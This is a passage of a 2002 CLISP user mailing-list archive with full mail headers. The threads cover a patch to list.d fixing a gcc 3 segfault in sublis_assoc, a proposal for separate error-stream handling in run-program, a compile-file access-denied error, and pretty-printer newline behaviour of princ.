Aug 2002 11:46:26 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17iJQd-0002KZ-00 for ; Fri, 23 Aug 2002 20:45:03 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17iJQc-0002KR-00 for ; Fri, 23 Aug 2002 20:45:02 +0200 Path: not-for-mail From: Sam Steingold Newsgroups: gmane.lisp.clisp.general Organization: disorganization Lines: 74 Message-ID: References: Reply-To: sds@gnu.org NNTP-Posting-Host: 65.114.186.226 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Trace: main.gmane.org 1030128302 8942 65.114.186.226 (23 Aug 2002 18:45:02 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Fri, 23 Aug 2002 18:45:02 +0000 (UTC) X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: compiling CLISP with gcc 3 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 11:47:03 2002 X-Original-Date: 23 Aug 2002 14:46:19 -0400 > * In message > * On the subject of "Re: compiling CLISP with gcc 3" > * Sent on Fri, 23 Aug 2002 10:22:03 -0400 (EDT) > * Honorable James Mcclain writes: > > > uname -a? > > gcc --version? > oh sorry: linux 2.4.20-pre4 on x86, gcc 3.2 > > > > i was getting a problem where it would seg fault in a loop inside > > > sublis_assoc in list.d. it turned out that the problem was caused by > > > line 1482 of list.d (if memory serves). i simply commented that out > > > and compiled and shockingly it worked and even passed 'make test'! > > > > what line did you remove? > > > it was line 1482 of list.d from the 2.29 tarball. > 1482c1482 > < alist = popSTACK(); > --- > > # alist = popSTACK(); this is beyond weird. this is _very_ old code that has worked fine on __many__ platforms for __many__ years. your change, of course, breaks other builds. please try the appended patch instead. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Oh Lord, give me the source code of the Universe and a good debugger! --- list.d.~1.29.~ Wed Jun 19 18:22:08 2002 +++ list.d Fri Aug 23 14:41:46 2002 @@ -1457,7 +1457,8 @@ # can trigger GC local object sublis_assoc (object* stackptr) { var object alist = *(stackptr STACKop 3); - while (consp(alist)) { + pushSTACK(alist); # save the list ((u . v) ...) + while (consp(STACK_0)) { # How to treat atoms in the list? # a. One can ignore them. # b. One can signal an error on them. @@ -1472,22 +1473,21 @@ # definition of "association list" in the CLHS glossary and with # the general use of alists as lookup tables. # Therefore we implement (a). - if (mconsp(Car(alist))) { # atomare Listenelemente überspringen - pushSTACK(alist); # Listenrest ((u . v) ...) retten + if (mconsp(Car(STACK_0))) { # atomare Listenelemente überspringen # Testen, ob die zweiargumentige Testfunktion # *(stackptr-3) (eine Adresse!), angewandt auf u und das # vorher in *(stackptr-2) abgelegte Argument, erfüllt ist: var bool erg = (*(up2_function_t)TheMachineCode(*(stackptr STACKop -3))) # zweiargumentige Testfunktion, wurde abgelegt - ( stackptr, *(stackptr STACKop -2), Car(Car(alist)) ); # auf (KEY x) und u anwenden - alist = popSTACK(); + ( stackptr, *(stackptr STACKop -2), Car(Car(STACK_0)) ); # auf (KEY x) und u anwenden if (erg) # Test erfüllt -> x = (u . v) = (CAR alist) als Ergebnis - return Car(alist); + return Car(popSTACK()); # Test nicht erfüllt } - alist = Cdr(alist); # Tail-End-Rekursion + STACK_0 = Cdr(STACK_0); # Tail-End-Rekursion } + skipSTACK(1); # Listenende erreicht -> ergibt Ergebnis NIL return NIL; } From pjb@informatimago.com Fri Aug 23 17:30:44 2002 Received: from thalassa.informatimago.com ([212.87.205.57]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17iOp6-0001Pb-00 for ; Fri, 23 Aug 2002 17:30:40 -0700 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 2941E9553D; Sat, 24 Aug 2002 02:30:31 +0200 (CEST) From: Pascal Bourguignon To: empb@bese.it Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Marco Baringer on 23 Aug 2002 17:44:15 +0200) Subject: Re: [clisp-list] How to suppress / redirect standard error? Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: References: <200208231450.g7NEo5Qu027579@van-halen.alma.com> Message-Id: <20020824003031.2941E9553D@thalassa.informatimago.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 17:31:07 2002 X-Original-Date: Sat, 24 Aug 2002 02:30:31 +0200 (CEST) > From: Marco Baringer > Date: 23 Aug 2002 17:44:15 +0200 > > "John K. Hinsdale" writes: > > > > 1) wouldn't it be nice to have an :ERROR-STREAM keyword arg ala :INPUT > > > and :OUTPUT? (Sam, if you don't have objections i'd be happy to > > > take a whack at this.) > > > > the right way. If the underlying O/S has a two-output-stream model, > > and the point of the call is to interface to the underlying O/S > > program exec facility, both streams should be accessible explicitly. > > > > Things get even worse when you start opening command pipes and want to > > route their separate output/error streams to different places using > > only the shell redirection syntax ... > > i'm confused as to what you mean by "the right way." say we add an > :ERROR-STREAM arg to EXT:RUN-SHELL-COMMAND (EXT:RUN-PROGRAM get's it > too). We also allow the args to :INPUT, :OUTPUT and :ERROR-STREAM to > be stream objects (or :TERMINAL, :STREAM, NIL or pathname objects with > the current semantics). As far as i can see this would allow for > arbitrary manipulation of pipes between programs. yes? While shortcuts like :INPUT :OUTPUT and :ERROR may be nice syntactic suggar, why not design the facility to be able to handle any number of file descriptor. What about something like: (ext:run-program "gpg" :arguments '("--status-fd" "3" "--logger-fd" "4" "--passphrase-fd" "5" "--command-fd" "6" ;;; ... ) :input clear-text-stream :output encrypted-stream :error std-err-stream :fd (3 :out status-stream) :fd (4 :out logger-stream) :fd (5 :in password-stream) :fd (6 :in command-stream) ) -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- The name is Baud,...... James Baud. From jmccla3@gl.umbc.edu Fri Aug 23 20:15:52 2002 Received: from mx3out.umbc.edu ([130.85.25.12]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17iROx-0004iE-00 for ; Fri, 23 Aug 2002 20:15:51 -0700 Received: from linux1.gl.umbc.edu (linux1.gl.umbc.edu [130.85.60.38]) by mx3out.umbc.edu (8.12.1/8.12.0/UMBC-Central 1.11 mxout 1.2.2.3 $) with ESMTP id g7O3FlMi003534 for ; Fri, 23 Aug 2002 23:15:47 -0400 (EDT) Received: from localhost (jmccla3@localhost) by linux1.gl.umbc.edu (8.12.1/8.12.0) with ESMTP id g7O3FlFw012528 for ; Fri, 23 Aug 2002 23:15:47 -0400 X-Authentication-Warning: linux1.gl.umbc.edu: jmccla3 owned process doing -bs From: James Mcclain To: clisp-list@sourceforge.net Subject: Re: [clisp-list] Re: compiling CLISP with gcc 3 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 20:16:04 2002 X-Original-Date: Fri, 23 Aug 2002 23:15:47 -0400 (EDT) dear Sam, thank you for the patch, it worked perfectly for me. regards, james mcclain On 23 Aug 2002, Sam Steingold wrote: > > * In message > > * On the subject of "Re: compiling CLISP with gcc 3" > > * Sent on Fri, 23 Aug 2002 10:22:03 -0400 (EDT) > > * Honorable James Mcclain writes: > > > > > uname -a? > > > gcc --version? > > oh sorry: linux 2.4.20-pre4 on x86, gcc 3.2 > > > > > > i was getting a problem where it would seg fault in a loop inside > > > > sublis_assoc in list.d. it turned out that the problem was caused = by > > > > line 1482 of list.d (if memory serves). i simply commented that out > > > > and compiled and shockingly it worked and even passed 'make test'! > > > > > > what line did you remove? > > > > > it was line 1482 of list.d from the 2.29 tarball. > > 1482c1482 > > < alist =3D popSTACK(); > > --- > > > # alist =3D popSTACK(); > > this is beyond weird. > this is _very_ old code that has worked fine on __many__ platforms for > __many__ years. your change, of course, breaks other builds. > > please try the appended patch instead. > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux > > > Oh Lord, give me the source code of the Universe and a good debugger! > > --- list.d.~1.29.~=09Wed Jun 19 18:22:08 2002 > +++ list.d=09Fri Aug 23 14:41:46 2002 > @@ -1457,7 +1457,8 @@ > # can trigger GC > local object sublis_assoc (object* stackptr) { > var object alist =3D *(stackptr STACKop 3); > - while (consp(alist)) { > + pushSTACK(alist); # save the list ((u . v) ...) > + while (consp(STACK_0)) { > # How to treat atoms in the list? > # a. One can ignore them. > # b. One can signal an error on them. > @@ -1472,22 +1473,21 @@ > # definition of "association list" in the CLHS glossary and with > # the general use of alists as lookup tables. > # Therefore we implement (a). > - if (mconsp(Car(alist))) { # atomare Listenelemente =FCberspringen > - pushSTACK(alist); # Listenrest ((u . v) ...) retten > + if (mconsp(Car(STACK_0))) { # atomare Listenelemente =FCberspringen > # Testen, ob die zweiargumentige Testfunktion > # *(stackptr-3) (eine Adresse!), angewandt auf u und das > # vorher in *(stackptr-2) abgelegte Argument, erf=FCllt ist: > var bool erg =3D > (*(up2_function_t)TheMachineCode(*(stackptr STACKop -3))) # zwei= argumentige Testfunktion, wurde abgelegt > - ( stackptr, *(stackptr STACKop -2), Car(Car(alist)) ); # auf (KE= Y x) und u anwenden > - alist =3D popSTACK(); > + ( stackptr, *(stackptr STACKop -2), Car(Car(STACK_0)) ); # auf (= KEY x) und u anwenden > if (erg) > # Test erf=FCllt -> x =3D (u . v) =3D (CAR alist) als Ergebnis > - return Car(alist); > + return Car(popSTACK()); > # Test nicht erf=FCllt > } > - alist =3D Cdr(alist); # Tail-End-Rekursion > + STACK_0 =3D Cdr(STACK_0); # Tail-End-Rekursion > } > + skipSTACK(1); > # Listenende erreicht -> ergibt Ergebnis NIL > return NIL; > } > > > > > ------------------------------------------------------- > This sf.net email is sponsored by: OSDN - Tired of that same old > cell phone? Get a new here for FREE! > https://www.inphonic.com/r.asp?r=3Dsourceforge1&refcode1=3Dvs3390 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From twager@ti.com Sun Aug 25 23:55:09 2002 Received: from dlezb.ext.ti.com ([192.91.75.132] helo=go4.ext.ti.com) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17jDmG-0000rb-00 for ; Sun, 25 Aug 2002 23:55:08 -0700 Received: from dlep8.itg.ti.com ([157.170.134.88]) by go4.ext.ti.com (8.11.6/8.11.6) with ESMTP id g7Q6t1k19998 for ; Mon, 26 Aug 2002 01:55:01 -0500 (CDT) Received: from dlep8.itg.ti.com (localhost [127.0.0.1]) by dlep8.itg.ti.com (8.9.3/8.9.3) with ESMTP id BAA23169 for ; Mon, 26 Aug 2002 01:55:01 -0500 (CDT) Received: from ffab.tide.ti.com (selenium.ffab.tide.ti.com [137.167.200.28]) by dlep8.itg.ti.com (8.9.3/8.9.3) with ESMTP id BAA23120 for ; Mon, 26 Aug 2002 01:55:00 -0500 (CDT) Received: from ti.com (iridium [137.167.218.82]) by ffab.tide.ti.com (8.12.1/8.12.1) with ESMTP id g7Q6sxUs013516 for ; Mon, 26 Aug 2002 08:54:59 +0200 (MEST) Message-ID: <3D69D0C3.B234468A@ti.com> From: Thomas Wager Organization: Texas Instruments Deutschland GmbH X-Mailer: Mozilla 4.79 [en] (X11; U; SunOS 5.9 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to suppress / redirect standard error? References: <200208231606.g7NG6l9J027872@van-halen.alma.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 25 23:56:02 2002 X-Original-Date: Mon, 26 Aug 2002 08:54:59 +0200 All, thanks a lot for your feedback. I'm going with shell scripts now. For the future I would also prefer to have an extra keyword argument :error to handle the error stream seperate. Thanks! Thomas "John K. Hinsdale" wrote: > > > i'm confused as to what you mean by "the right way." > > Right, by "right way" i meant exactly having the explicity additional > param, error-stream arg as has been proposed. this in contrast with > the "less then right" way (that I admit I suggested :) of using the > shell's redirect syntax, which has the problems of: > > 1 - is shell dependent for merging streams > 2 - doesn't quite work for pipes > 3 - incurs the argument escaping/quoting issues mentioned > > > say we add an > > :ERROR-STREAM arg to EXT:RUN-SHELL-COMMAND (EXT:RUN-PROGRAM get's it > > too). We also allow the args to :INPUT, :OUTPUT and :ERROR-STREAM to > > nbe stream objects (or :TERMINAL, :STREAM, NIL or pathname objects with > > the current semantics). As far as i can see this would allow for > > arbitrary manipulation of pipes between programs. yes? > > Yes, would solve (2) above in a way that is more flexible than can be > done even w/ Unix own shells. I'm only speaking w/ knowledge of > csh/tcsh and sh, not bash which may have solved the problem. But not > everyone will have bash. (e.g., Solaris) > > BTW, if it's intened to allow "merging" the output and error streams, > there will still be the problem I mentioned earlier with the streams' > data being interleaved unpredicatbly because of how Unix buffers its > standard streams. I don't believe there's a solution to that other > than Lisp's I/O library changing the buffering policies, which is > perhaps not its business to do. This is a long-standing Unix problem. > > Hope this helps!!! > > --- > John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA > hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 > > ------------------------------------------------------- > This sf.net email is sponsored by: OSDN - Tired of that same old > cell phone? Get a new here for FREE! > https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From gaohuaiyan@yahoo.co.uk Tue Aug 27 08:29:22 2002 Received: from web21002.mail.yahoo.com ([216.136.227.56]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17jiHR-0007zj-00 for ; Tue, 27 Aug 2002 08:29:21 -0700 Message-ID: <20020827152921.70640.qmail@web21002.mail.yahoo.com> Received: from [146.227.1.9] by web21002.mail.yahoo.com via HTTP; Tue, 27 Aug 2002 16:29:21 BST From: =?iso-8859-1?q?Huaiyan=20Gao?= To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-640232539-1030462161=:70624" Content-Transfer-Encoding: 8bit Subject: [clisp-list] compile-file error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 27 08:30:04 2002 X-Original-Date: Tue, 27 Aug 2002 16:29:21 +0100 (BST) --0-640232539-1030462161=:70624 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi, When I use compile-file function to compile my lisp file, the following error is raised. Who knows how to solve this problem? error: [pathname.d:7947] *** win32 error 5 (error-access-denied): Access is denied. 1. Break [2]> --------------------------------- Get a bigger mailbox -- choose a size that fits your needs. http://uk.docs.yahoo.com/mail_storage.html --0-640232539-1030462161=:70624 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit

Hi,

When I use compile-file function to compile my lisp file, the following error is raised. Who knows how to solve this problem?

error:

[pathname.d:7947]

*** win32 error 5 (error-access-denied): Access is denied.

1. Break [2]>



Get a bigger mailbox -- choose a size that fits your needs.

http://uk.docs.yahoo.com/mail_storage.html --0-640232539-1030462161=:70624-- From samuel.steingold@verizon.net Tue Aug 27 09:14:11 2002 Received: from h013.c001.snv.cp.net ([209.228.32.127] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17jiyo-0004Dn-00 for ; Tue, 27 Aug 2002 09:14:10 -0700 Received: (cpmta 3050 invoked from network); 27 Aug 2002 09:14:08 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.127) with SMTP; 27 Aug 2002 09:14:08 -0700 X-Sent: 27 Aug 2002 16:14:08 GMT To: Huaiyan Gao Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compile-file error References: <20020827152921.70640.qmail@web21002.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020827152921.70640.qmail@web21002.mail.yahoo.com> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 27 09:15:07 2002 X-Original-Date: 27 Aug 2002 12:14:07 -0400 > * In message <20020827152921.70640.qmail@web21002.mail.yahoo.com> > * On the subject of "[clisp-list] compile-file error" > * Sent on Tue, 27 Aug 2002 16:29:21 +0100 (BST) > * Honorable Huaiyan Gao writes: > > When I use compile-file function to compile my lisp file, the > following error is raised. Who knows how to solve this problem? > > error: > > [pathname.d:7947] > > *** win32 error 5 (error-access-denied): Access is denied. > > 1. Break [2]> you do not have OS permission to read or write a file. try "help" to learn how you can find out which file is at fault. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Between grand theft and a legal fee, there only stands a law degree. From samuel.steingold@verizon.net Thu Aug 29 06:32:45 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17kPPe-0005mP-00 for ; Thu, 29 Aug 2002 06:32:42 -0700 Received: (cpmta 22891 invoked from network); 29 Aug 2002 06:32:40 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 29 Aug 2002 06:32:40 -0700 X-Sent: 29 Aug 2002 13:32:40 GMT To: Christian Schuhegger Cc: clisp-list@sourceforge.net References: <3D65FB53.8000305@cern.ch> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: [ values / multiple-value-list bug?] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 29 06:33:03 2002 X-Original-Date: 29 Aug 2002 09:32:37 -0400 Christian, any luck debugging this? > * In message > * On the subject of "[clisp-list] Re: [Fwd: [ clisp-Bugs-598128 ] values / multiple-value-list bug?]" > * Sent on 23 Aug 2002 09:19:59 -0400 > * Honorable Sam Steingold writes: > > [let us move the discussion to the mailing list] > > > did you receive this mail? > > yes, and I replied to it yesterday: > > do you have cygwin? can you install it? > get the CLISP CVS head, then > > $ make -f Makefile.devel makemake > $ ./makemake --with-dir-key --with-export-syscalls --with-dynamic-ffi \ > win32msvc msvc5 debug > src/makefile > $ cd src > $ nmake clean > $ nmake -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux My inferiority complex is the only thing I can be proud of. From glenn.burnside@ni.com Thu Aug 29 11:10:15 2002 Received: from marsh.natinst.com ([130.164.141.24] helo=mail.natinst.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17kTkF-0000jX-00 for ; Thu, 29 Aug 2002 11:10:15 -0700 Received: from notesmta.natinst.com (notesmta.natinst.com [130.164.130.15]) by mail.natinst.com (8.9.3/8.9.3) with ESMTP id NAA00600 for ; Thu, 29 Aug 2002 13:10:08 -0500 (CDT) To: clisp-list@lists.sourceforge.net X-Mailer: Lotus Notes Release 5.0.9a January 7, 2002 Message-ID: From: glenn.burnside@ni.com X-MIMETrack: Serialize by Router on NotesMTA/AUS/G/NIC(Release 5.0.9a |January 7, 2002) at 08/29/2002 01:10:08 PM MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable Subject: [clisp-list] Strange princ behavior Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 29 11:11:02 2002 X-Original-Date: Thu, 29 Aug 2002 13:09:55 -0500 I'm hoping someone can point in the right direction.=A0 I have some mac= ros that are generating groups of calls to princ, which look something like= this: (progn (princ "hello ") (princ "world.")) This generates output to the stream hello world. As I would expect.=A0 But when the second princ string has a newline in= it, such as (progn (princ "hello ") (princ "world, =A0 how are you")) I don't get hello world, =A0 how are you I get hello world, =A0 how are you. In short, the second princ is always preceded by a newline, but only wh= en the string itself contains a newline. Is this standard print behavior for strings?=A0 Is this a bug in CLISP?= =A0 Am I doing something pathologically stupid? incidently, I am using CLISP 2.82 on Windows XP. Thanks for any help, =A0=A0=A0 Glenn Burnside Thanks, Glenn G. Burnside III National Instruments= From samuel.steingold@verizon.net Thu Aug 29 11:42:03 2002 Received: from h024.c001.snv.cp.net ([209.228.32.139] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17kUF0-0006Xw-00 for ; Thu, 29 Aug 2002 11:42:02 -0700 Received: (cpmta 10783 invoked from network); 29 Aug 2002 11:42:01 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.139) with SMTP; 29 Aug 2002 11:42:01 -0700 X-Sent: 29 Aug 2002 18:42:01 GMT To: glenn.burnside@ni.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Strange princ behavior References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 53 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 29 11:43:01 2002 X-Original-Date: 29 Aug 2002 14:41:59 -0400 > * In message > * On the subject of "[clisp-list] Strange princ behavior" > * Sent on Thu, 29 Aug 2002 13:09:55 -0500 > * Honorable glenn.burnside@ni.com writes: > > I'm hoping someone can point in the right direction.=A0 I have some macros > that are generating groups of calls to princ, which look something like > this: >=20 > (progn (princ "hello ") (princ "world.")) >=20 > This generates output to the stream > hello world. >=20 > As I would expect.=A0 But when the second princ string has a newline in i= t, > such as > (progn (princ "hello ") (princ "world, > =A0 how are you")) >=20 > I don't get > hello world, > =A0 how are you >=20 > I get > hello > world, > =A0 how are you. >=20 > In short, the second princ is always preceded by a newline, but only when > the string itself contains a newline. Indeed, this is the case. When *PRINT-PRETTY* is non-NIL, CLISP printer will print multi-line object starting with a FRESH-LINE. > Is this standard print behavior for strings?=A0 > Is this a bug in CLISP?=A0 no: pretty printing is largely left to the implementation. > Am I doing something pathologically stupid? just (setq *print-pretty* nil) > incidently, I am using CLISP 2.82 on Windows XP. I am using what will eventually become 2.30 - you are 52+ versions ahead of me! :-) --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux We're too busy mopping the floor to turn off the faucet. From glenn.burnside@ni.com Thu Aug 29 11:53:25 2002 Received: from marsh.natinst.com ([130.164.141.24] helo=mail.natinst.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17kUQ1-0000HM-00 for ; Thu, 29 Aug 2002 11:53:25 -0700 Received: from notesmta.natinst.com (notesmta.natinst.com [130.164.130.15]) by mail.natinst.com (8.9.3/8.9.3) with ESMTP id NAA19994 for ; Thu, 29 Aug 2002 13:53:19 -0500 (CDT) Subject: Re: [clisp-list] Strange princ behavior Cc: clisp-list@lists.sourceforge.net X-Mailer: Lotus Notes Release 5.0.9a January 7, 2002 Message-ID: From: glenn.burnside@ni.com X-MIMETrack: Serialize by Router on NotesMTA/AUS/G/NIC(Release 5.0.9a |January 7, 2002) at 08/29/2002 01:53:19 PM MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 29 11:54:02 2002 X-Original-Date: Thu, 29 Aug 2002 13:53:06 -0500 Sam, that did the trick. (and of course, I'm using version 2.28, not = 2.82 =3D-) ). For future reference, what would be the best place to find ou= t about implementation-specific behavior like this? Thanks, Glenn G. Burnside III National Instruments = = =20 Sam Steingold = = =20 To: glenn.burnside@= ni.com = =20 cc: clisp-list@list= s.sourceforge.net = =20 08/29/2002 01:41 Subject: Re: [clisp-list= ] Strange princ behavior = =20 PM = = =20 Please respond = = =20 to sds = = =20 = = =20 = = =20 > * In message = > * On the subject of "[clisp-list] Strange princ behavior" > * Sent on Thu, 29 Aug 2002 13:09:55 -0500 > * Honorable glenn.burnside@ni.com writes: > > I'm hoping someone can point in the right direction.=A0 I have some m= acros > that are generating groups of calls to princ, which look something li= ke > this: > > (progn (princ "hello ") (princ "world.")) > > This generates output to the stream > hello world. > > As I would expect.=A0 But when the second princ string has a newline = in it, > such as > (progn (princ "hello ") (princ "world, > =A0 how are you")) > > I don't get > hello world, > =A0 how are you > > I get > hello > world, > =A0 how are you. > > In short, the second princ is always preceded by a newline, but only = when > the string itself contains a newline. Indeed, this is the case. When *PRINT-PRETTY* is non-NIL, CLISP printe= r will print multi-line object starting with a FRESH-LINE. > Is this standard print behavior for strings? > Is this a bug in CLISP? no: pretty printing is largely left to the implementation. > Am I doing something pathologically stupid? just (setq *print-pretty* nil) > incidently, I am using CLISP 2.82 on Windows XP. I am using what will eventually become 2.30 - you are 52+ versions ahead of me! :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux We're too busy mopping the floor to turn off the faucet. = From samuel.steingold@verizon.net Thu Aug 29 12:19:49 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17kUpX-0000DT-00 for ; Thu, 29 Aug 2002 12:19:47 -0700 Received: (cpmta 1425 invoked from network); 29 Aug 2002 12:19:46 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 29 Aug 2002 12:19:46 -0700 X-Sent: 29 Aug 2002 19:19:46 GMT To: glenn.burnside@ni.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Strange princ behavior References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 